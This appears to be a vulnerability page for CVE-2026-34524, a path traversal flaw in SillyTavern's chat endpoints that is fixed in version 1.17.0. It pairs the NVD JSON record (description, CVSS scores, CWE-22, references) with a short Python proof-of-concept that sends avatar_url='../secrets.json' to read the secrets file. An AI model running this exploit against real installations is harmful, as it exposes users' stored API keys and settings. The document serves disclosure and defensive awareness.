CVE-2026-34524

# PoC Example for CVE-2026-34524 # Requires valid authentication token import requests target = "http://target-ip:port/api/chat/endpoint" auth_token = "YOUR_AUTH_TOKEN_HERE" headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Payload to read secrets.json using path traversal payload = { "avatar_url": "../secrets.json", "text": "trigger_payload" } response = requests.post(target, json=payload, headers=headers) if response.status_code == 200: print("[+] Vulnerability exploited successfully!") print("[+] Response:", response.text) else: print("[-] Failed to exploit")

{"cve": {"id": "CVE-2026-34524", "sourceIdentifier": "[email protected]", "published": "2026-04-02T18:16:29.763", "lastModified": "2026-04-13T18:43:05.203", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, a path traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example secrets.json and settings.json) by supplying avatar_url=\"..\". This issue has been patched in version 1.17.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 5.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sillytavern:sillytavern:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "1.17.0", "matchCriteriaId": "7E2E14B3-75EF-4DC4-84BE-8C2F5D6949A4"}]}]}], "references": [{"url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-vprr-q85p-79mf", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}, {"url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-vprr-q85p-79mf", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory", "Exploit"]}]}}